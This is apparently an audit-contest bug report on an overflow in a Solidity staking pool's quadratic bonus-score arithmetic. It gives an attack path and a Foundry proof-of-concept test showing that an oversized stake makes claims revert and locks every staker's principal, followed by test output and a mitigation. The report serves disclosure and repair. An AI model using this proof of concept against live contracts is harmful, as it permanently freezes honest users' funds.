FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Accepted huge standard-ERC20 stake can overflow k=2 score expansion and permanently block claims

Author Revealed upon completion

Severity

Medium

The effect is permanent claim denial for a resolved pool under a supported-token flow: both principal and bonus can remain stuck in the pool, while sweepUnclaimedBonus cannot recover the funds because eligible stake remains reserved. Likelihood is reduced because the attacker must control an extremely large amount of the standard stake token and their own stake is also locked, but the path does not rely on unsupported token behavior, privileged roles, or dishonest dependencies.

Summary

ConfidencePool.stake accepts deposits without bounding the arithmetic domain later used by _bonusShare. During settlement, _bonusShare computes k=2 scores through expanded checked-uint256 intermediates:

uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;

For a sufficiently large but accepted standard-ERC20 stake, those expanded terms overflow before cancellation, even though the literal score

sum(amount_i * (T - effectiveEntry_i)^2)

is finite. As a result, claimSurvived / claimExpired revert with Panic(0x11) and the pool becomes permanently unclaimable for affected stakers.

Affected Scoped Code

  • src/ConfidencePool.sol

    • stake

    • _bonusShare

  • Same-root supporting symptom: _markRiskWindowStart can also overflow for huge accepted stake amounts.

Relevant lines:

uint256 contribTimeSq = received * newEntry * newEntry;
...
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
...
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;

Root Cause

The protocol uses O(1) accumulated moments to represent the k=2 score:

sum(amount_i * (T - effectiveEntry_i)^2)

That literal score is expanded into:

T^2 * amount + entry^2 * amount - 2 * T * entry * amount

The final mathematical result may still fit, but the expanded intermediate terms can overflow uint256 first. Because the overflow happens before the final ratio calculation, Math.mulDiv does not protect this path.

There is no live stake cap or full-width intermediate arithmetic enforcing a safe domain for:

  • received * entry^2 during stake-time moment accumulation,

  • totalEligibleStake * T^2 during _markRiskWindowStart,

  • snapshotTotalStaked * T^2 and userEligible * T^2 during _bonusShare.

Preconditions

  • The pool uses a standard, amount-conserving ERC20.

  • Registry and moderator behave honestly.

  • Risk is observed, then the product later resolves SURVIVED (or an equivalent path that reaches _bonusShare).

  • At least one positive bonus unit exists so _bonusShare is exercised.

  • The attacker can provide a very large standard-token stake during UNDER_ATTACK, which is explicitly allowed.

At the repository test base timestamp, the minimized accepted stake used in the PoC is:

18,904,830,885,085,597,927,651,683,490,093,292,687,394,575,799,129,184,662,059

base units.

Attack Path

  1. An honest staker deposits a normal amount.

  2. The registry enters UNDER_ATTACK and the pool records riskWindowStart.

  3. The attacker stakes a huge but accepted amount during the allowed UNDER_ATTACK phase.

  4. A bonus contribution is made.

  5. One second later, the registry reports PRODUCTION and the moderator honestly flags SURVIVED.

  6. A staker tries to claim. _bonusShare overflows while computing the expanded global/user score and reverts with Panic(0x11).

  7. Other claims also revert, eligibleStake remains nonzero, and sweepUnclaimedBonus cannot drain the pool because the stake reserve is still live.

Impact

This is not just a bonus-accounting inaccuracy. The pool can become permanently unclaimable for the affected settlement path:

  • honest stakers cannot recover principal,

  • bonus cannot be distributed,

  • hasClaimed is never set,

  • funds remain trapped in the pool,

  • the attacker’s own stake also remains trapped, so the issue is a liveness/funds-stuck flaw rather than a profit extraction.

This makes Medium severity appropriate: exploitability is constrained by the extreme capital requirement, but the impact is real and affects principal recovery under supported-token, honest-dependency conditions.

Why this is not accepted behavior

This issue is distinct from the documented/accepted design choices:

  • It is not disagreement with quadratic weighting; the literal quadratic score is finite.

  • It is not the accepted pre-risk clamp policy in the main PoC; risk is already observed.

  • It is not the no-risk / zero-bonus branch; riskWindowStart != 0.

  • It is not unsupported token behavior; the PoC uses a normal MockERC20.

  • It is not a trusted-role issue; the registry and moderator follow the honest path.

  • It is not merely “large late stake earns tiny bonus”; the implementation reverts before any valid payout can occur.

proof of code section

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract AcceptedStakeOverflowPoC is BaseConfidencePoolTest {
function testAcceptedStakeCanOverflowExpandedScoreAndLockSurvivedClaims() external {
uint256 honestStake = ONE;
_stake(bob, honestStake);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
uint256 start = block.timestamp;
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), start);
uint256 terminal = start + 1;
uint256 denominator = start * start + terminal * terminal;
uint256 poisonStake = type(uint256).max / denominator + 1;
assertLe(poisonStake * start * start, type(uint256).max, "poison stake itself is accepted");
assertGt(poisonStake * terminal * terminal, type(uint256).max - poisonStake * start * start);
_stake(alice, poisonStake);
_contributeBonus(carol, 1);
vm.warp(terminal);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(pool.outcomeFlaggedAt(), terminal);
assertEq(pool.snapshotTotalStaked(), poisonStake + honestStake);
assertEq(pool.snapshotTotalBonus(), 1);
uint256 literalBobScore = honestStake;
uint256 literalPoisonScore = poisonStake;
assertEq(literalBobScore + literalPoisonScore, pool.snapshotTotalStaked(), "literal dt=1 score is finite");
vm.prank(bob);
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
pool.claimSurvived();
vm.prank(alice);
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
pool.claimSurvived();
assertEq(pool.eligibleStake(bob), honestStake, "victim principal remains stuck");
assertEq(pool.eligibleStake(alice), poisonStake, "poison principal remains stuck");
assertEq(token.balanceOf(address(pool)), poisonStake + honestStake + 1, "all funds remain in pool");
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
}
}

Exact Commands and Actual Output

Focused PoC

Command:

forge test --match-path test/part74/DepositLedgerBigIntOracle.t.sol --match-test testAcceptedStakeCanOverflowExpandedScoreAndLockSurvivedClaims -vvv

Actual output:

No files changed, compilation skipped
Ran 1 test for test/part74/DepositLedgerBigIntOracle.t.sol:DepositLedgerBigIntOracleTest
[PASS] testAcceptedStakeCanOverflowExpandedScoreAndLockSurvivedClaims() (gas: 675136)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 907.54µs (261.17µs CPU time)
Ran 1 test suite in 4.51ms (907.54µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Big-integer reference oracle

Command:

python3 scratch/part74_bigint_oracle.py

Actual output:

MAX_UINT256=115792089237316195423570985008687907853269984665640564039457584007913129639935
start=1750000000
terminal=1750000001
poison_stake=18904830885085597927651683490093292687394575799129184662059
poison_stake * start^2 <= MAX: True
poison_stake * (terminal^2 + start^2) > MAX: True
literal_honest_score=1000000000000000000
literal_poison_score=18904830885085597927651683490093292687394575799129184662059
literal_global_score=18904830885085597927651683490093292687395575799129184662059
honest_reference_payout=1000000000000000000
poison_reference_payout=18904830885085597927651683490093292687394575799129184662059
unpaid_dust=1

Additional supporting harness run

Command:

forge test --match-path test/part74/DepositLedgerBigIntOracle.t.sol --fuzz-runs 2000 -vv

Actual output:

Ran 3 tests for test/part74/DepositLedgerBigIntOracle.t.sol:DepositLedgerBigIntOracleTest
[PASS] testAcceptedPreRiskStakeCanOverflowRiskStartClampAndEraseBonusPath() (gas: 558596)
[PASS] testAcceptedStakeCanOverflowExpandedScoreAndLockSurvivedClaims() (gas: 675136)
[PASS] testFuzz_literalLedgerMatchesOptimizedSafeDomain(uint96,uint96,uint96,uint96,uint24,uint24,uint24,uint24,bool,bool) (runs: 2001, μ: 1287147, ~: 1270986)
Suite result: ok. 3 passed; 0 failed; 0 skipped

Supporting symptom from the same root cause

The same missing arithmetic bound also appears earlier in the lifecycle: a huge accepted pre-risk stake can make _markRiskWindowStart overflow on totalEligibleStake * t * t, causing risk observation to revert atomically. That is best treated as the same underlying arithmetic-domain bug, not a separate submission.

Recommended Mitigation

Either:

  1. compute the moment/score expressions with full-width intermediate arithmetic, or

  2. reject stakes that would move the pool outside the safe arithmetic domain.

A conservative cap can be enforced with division-first arithmetic:

uint256 maxTotalStake = type(uint256).max / uint256(expiry) / uint256(expiry) / 2;
if (totalEligibleStake + received > maxTotalStake) revert StakeTooLarge();

The factor of 2 conservatively covers both T^2 * S and M2 inside the expanded plus term because effective entries and T are bounded by expiry.

Boundary tests should be added for:

  • accepted stake exactly at the cap,

  • rejected stake at cap + 1,

  • claim after a one-second observed-risk window,

  • _markRiskWindowStart at the cap.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!